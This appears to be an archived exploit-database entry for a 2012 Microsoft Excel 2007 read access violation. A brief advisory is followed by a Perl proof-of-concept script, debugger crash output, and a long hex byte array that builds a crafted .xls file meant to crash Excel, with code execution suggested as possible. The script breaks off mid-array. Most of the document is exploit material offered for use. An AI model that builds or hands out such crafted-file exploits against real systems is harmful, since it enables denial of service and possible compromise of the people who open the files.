发布 2012-10-11 漏洞条目

Microsoft Excel – Denial of Service

Exploit Source

source: https://www.securityfocus.com/bid/56309/info

Microsoft Office is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application. Due to the nature of the issue code execution might be possible, but it has not been confirmed.

Microsoft Office 2007 is affected; other versions may also be vulnerable.

#!/usr/bin/perl

# Microsoft Office Excel ReadAV Arbitrary Code Execution

# Author: Jean Pascal Pereira <pereira@secbiz.de>

# Vendor URI: http://office.microsoft.com

# Vendor Description:

# Microsoft Excel is a commercial spreadsheet application written and distributed by Microsoft for Microsoft Windows and Mac OS X.

# It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications.

# Affected versions:

# Microsoft Office 2007 (confirmed)

# Microsoft Excel Reader 12 (confirmed)

# Microsoft Office 2010 (not confirmed yet)

# Debug Info:

# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86

# CommandLine: "C:\Program Files\Microsoft Office\Office12\XLVIEW.EXE" C:\research\MSExcel\crafted.xls

# Symbol search path is: *** Invalid ***

# ****************************************************************************

# * Symbol loading may be unreliable without a symbol search path. *

# * Use .symfix to have the debugger choose a symbol path. *

# * After setting your symbol path, use .reload to refresh symbol locations. *

# ****************************************************************************

# Executable search path is:

# ModLoad: 30000000 30cd8000 Excel.exe

# ModLoad: 7c900000 7c9b2000 ntdll.dll

# ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll

# ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll

# ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll

# ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll

# ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll

# ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll

# ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll

# ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll

# ModLoad: 78130000 781cb000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.3053_x-ww_b80fa8ca\MSVCR80.dll

# ModLoad: 73000000 73026000 C:\WINDOWS\system32\WINSPOOL.DRV

# ModLoad: 3a9d0000 3b754000 C:\Program Files\Microsoft Office\Office12\oart.dll

# ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll

# (9c.380): Break instruction exception - code 80000003 (first chance)

# ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL

# ModLoad: 32600000 3361f000 C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll

# ModLoad: 7d1e0000 7d49c000 C:\WINDOWS\system32\msi.dll

# ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll

# ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\Comctl32.dll

# ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll

# ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll

# ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll

# ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime

# ModLoad: 01080000 016d4000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSORES.DLL

# ModLoad: 016e0000 020bd000 C:\Program Files\Common Files\Microsoft Shared\office12\1033\MSOINTL.DLL

# ModLoad: 3bd10000 3bea4000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL

# ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLL

# ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll

# ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll

# ModLoad: 79000000 7904a000 C:\WINDOWS\system32\mscoree.dll

# ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.DLL

# ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.DLL

# ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\comctl32.dll

# ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL

# ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll

# ModLoad: 02450000 02715000 C:\WINDOWS\system32\xpsp2res.dll

# ModLoad: 77920000 77a13000 C:\WINDOWS\system32\SETUPAPI.dll

# ModLoad: 71b20000 71b32000 C:\WINDOWS\system32\MPR.DLL

# ModLoad: 3a780000 3a889000 C:\Program Files\Common Files\Microsoft Shared\office12\riched20.dll

# (9c.380): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=00000001 ebx=00128320 ecx=00123b40 edx=008d2d04 esi=02284800 edi=00000130

# eip=3025c1fc esp=00123b30 ebp=00123b48 iopl=0 nv up ei pl nz na po nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

# *** ERROR: Symbol file could not be found. Defaulted to export symbols for Excel.exe -

# Excel!Ordinal40+0x25c1fc:

# 3025c1fc 668b0f mov cx,word ptr [edi] ds:0023:00000130=????

# 0:000> r;!exploitable -v;q

# eax=00000001 ebx=00128320 ecx=00123b40 edx=008d2d04 esi=02284800 edi=00000130

# eip=3025c1fc esp=00123b30 ebp=00123b48 iopl=0 nv up ei pl nz na po nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

# Excel!Ordinal40+0x25c1fc:

# 3025c1fc 668b0f mov cx,word ptr [edi] ds:0023:00000130=????

# HostMachine\HostUser

# Executing Processor Architecture is x86

# Debuggee is in User Mode

# Debuggee is a live user mode debugging session on the local machine

# Event Type: Exception

# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -

# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -

# Exception Faulting Address: 0x130

# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)

# Exception Sub-Type: Read Access Violation

# Proof of Concept:

my $crafted =

"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x3E\x00\x03\x00\xFE\xFF\x09\x00".

"\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".

"\x22\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xFE\xFF\xFF\xFF".

"\x00\x00\x00\x00\xFE\xFF\xFF\xFF\x00\x00\x00\x00\x21\x00\x00\x00";

$crafted .= "\xFF" x 432;

$crafted .=

"\x09\x08\x08\x00\x00\x05\x05\x00\xAE\x21\xCD\x07\xE1\x00\x00\x00".

"\xC1\x00\x02\x00\x00\x00\xBF\x00\x00\x00\xC0\x00\x00\x00\xE2\x00".

"\x00\x00\x5C\x00\x70\x00\x07\x70\x65\x72\x65\x69\x72\x61\x20\x50".

"\x2E\x20\x50\x65\x72\x65\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".

"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".

"\x20\x20\x20\x20\x20\x20\x42\x00\x02\x00\xE4\x04\x9C\x00\x02\x00".

"\x0E\x00\x16\x00\x02\x00\x01\x00\x17\x00\x1D\x00\x1B\x03\x90\x90".

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x00\x24\x00\x20\x00\x00".

"\x01\x15\x00\x01\x00\x01\x00\x00\x00\x00\x00\x06\x3B\xFF\xFF\x00".

"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00".

"\x0A\x19\x00\x02\x00\x00\x00\x12\x00\x02\x00\x00\x00\x13\x00\x02".

"\x00\x00\x00\x3D\x00\x12\x00\x00\x00\x30\x00\xAC\x2F\xF4\x1A\x38".

"\x00\x00\x00\x00\x00\x01\x00\x58\x02\x40\x00\x02\x00\x00\x00\x8D".

"\x00\x02\x00\x00\x00\x22\x00\x02\x00\x00\x00\x0E\x00\x02\x00\x01".

"\x00\xB7\x01\x02\x00\x00\x00\xDA\x00\x02\x00\x00\x00\x31\x00\x14".

"\x00\xC8\x00\x00\x00\xFF\x7F\x90\x01\x00\x00\x00\x00\x00\x00\x05".

"\x41\x72\x69\x61\x6C\x31\x00\x14\x00\xC8\x00\x00\x00\xFF\x7F\x90".

"\x01\x00\x00\x00\x00\x00\x00\x05\x41\x72\x69\x61\x6C\x31\x00\x14".

"\x00\xC8\x00\x00\x00\xFF\x7F\x90\x01\x00\x00\x00\x00\x00\x00\x05".

"\x41\x72\x69\x61\x6C\x31\x00\x14\x00\xC8\x00\x00\x00\xFF\x7F\x90".

"\x01\x00\x00\x00\x00\x00\x00\x05\x41\x72\x69\x61\x6C\x31\x00\x14".

"\x00\x59\x01\x01\x00\xFF\x7F\xBC\x02\x00\x00\x00\x00\x00\x00\x05".

"\x41\x72\x69\x61\x6C\x31\x00\x14\x00\x31\x01\x01\x00\xFF\x7F\xBC".

"\x02\x00\x00\x00\x00\x00\x00\x05\x41\x72\x69\x61\x6C\x31\x00\x14".

"\x00\x45\x01\x01\x00\xFF\x7F\xBC\x02\x00\x00\x00\x00\x00\x00\x05".

"\x41\x72\x69\x61\x6C\x31\x00\x14\x00\x45\x01\x00\x00\xFF\x7F\x90".

"\x01\x00\x00\x00\x00\x00\x00\x05\x41\x72\x69\x61\x6C\x1E\x04\x1A".

"\x00\x05\x00\x17\x22\x24\x22\x23\x2C\x23\x23\x30\x5F\x29\x3B\x5C".

"\x28\x22\x24\x22\x23\x2C\x23\x23\x30\x5C\x29\x1E\x04\x1F\x00\x06".

"\x00\x1C\x22\x24\x22\x23\x2C\x23\x23\x30\x5F\x29\x3B\x5B\x52\x65".

"\x64\x5D\x5C\x28\x22\x24\x22\x23\x2C\x23\x23\x30\x5C\x29\x1E\x04".

"\x20\x00\x07\x00\x1D\x22\x24\x22\x23\x2C\x23\x23\x30\x2E\x30\x30".

"\x5F\x29\x3B\x5C\x28\x22\x24\x22\x23\x2C\x23\x23\x30\x2E\x30\x30".

"\x5C\x29\x1E\x04\x25\x00\x08\x00\x22\x22\x24\x22\x23\x2C\x23\x23".

"\x30\x2E\x30\x30\x5F\x29\x3B\x5B\x52\x65\x64\x5D\x5C\x28\x22\x24".

"\x22\x23\x2C\x23\x23\x30\x2E\x30\x30\x5C\x29\x1E\x04\x35\x00\x2A".

"\x00\x32\x5F\x28\x22\x24\x22\x2A\x20\x23\x2C\x23\x23\x30\x5F\x29".

"\x3B\x5F\x28\x22\x24\x22\x2A\x20\x5C\x28\x23\x2C\x23\x23\x30\x5C".

"\x29\x3B\x5F\x28\x22\x24\x22\x2A\x20\x22\x2D\x22\x5F\x29\x3B\x5F".

"\x28\x40\x5F\x29\x1E\x04\x2C\x00\x29\x00\x29\x5F\x28\x2A\x20\x23".

"\x2C\x23\x23\x30\x5F\x29\x3B\x5F\x28\x2A\x20\x5C\x28\x23\x2C\x23".

"\x23\x30\x5C\x29\x3B\x5F\x28\x2A\x20\x22\x2D\x22\x5F\x29\x3B\x5F".

"\x28\x40\x5F\x29\x1E\x04\x3D\x00\x2C\x00\x3A\x5F\x28\x22\x24\x22".

"\x2A\x20\x23\x2C\x23\x23\x30\x2E\x30\x30\x5F\x29\x3B\x5F\x28\x22".

"\x24\x22\x2A\x20\x5C\x28\x23\x2C\x23\x23\x30\x2E\x30\x30\x5C\x29".

"\x3B\x5F\x28\x22\x24\x22\x2A\x20\x22\x2D\x22\x3F\x3F\x5F\x29\x3B".

"\x5F\x28\x40\x5F\x29\x1E\x04\x34\x00\x2B\x00\x31\x5F\x28\x2A\x20".

"\x23\x2C\x23\x23\x30\x2E\x30\x30\x5F\x29\x3B\x5F\x28\x2A\x20\x5C".

"\x28\x23\x2C\x23\x23\x30\x2E\x30\x30\x5C\x29\x3B\x5F\x28\x2A\x20".

"\x22\x2D\x22\x3F\x3F\x5F\x29\x3B\x5F\x28\x40\x5F\x29\x1E\x04\x06".

"\x00\xA4\x00\x03\x30\x2E\x30\x1E\x04\x08\x00\xA5\x00\x05\x30\x2E".

"\x30\x30\x30\xE0\x00\x10\x00\x00\x00\x00\x00\xF5\xFF\x20\x00\xC0".

"\x20\x00\x00\x00\x00\x00\x00\xE0\x00\x10\x00\x01\x00\x00\x00\xF5".

"\xFF\x20\xF4\xC0\x20\x00\x00\x00\x00\x00\x00\xE0\x00\x10\x00\x01".

"\x00\x00\x00\xF5\xFF\x20\xF4\xC0\x20\x00\x00\x00\x00\x00\x00\xE0".

"\x00\x10\x00\x02\x00\x00\x00\xF5\xFF\x20\xF4\xC0\x20\x00\x00\x00".

"\x00\x00\x00\xE0\x00\x10\x00\x02\x00\x00\x00\xF5\xFF\x20\xF4\xC0".

"\x20\x00\x00\x00\x00\x00\x00\xE0\x00\x10\x00\x00\x00\x00\x00\xF5".

"\xFF\x20\xF4\xC0\x20\x00\x00\x00\x00\x00\x00\xE0\x00\x10\x00\x00".

"\x00\x00\x00\xF5\xFF\x20\xF4\xC0\x20\x00\x00\x00\x00\x00\x00\xE0".

"\x00\x10\x00\x00\x00\x00\x00\xF5\xFF\x20\xF4\xC0\x20\x00\x00\x00".

"\x00\x00\x00\xE0\x00\x10\x00\x00\x00\x00\x00\xF5\xFF\x20\xF4\xC0".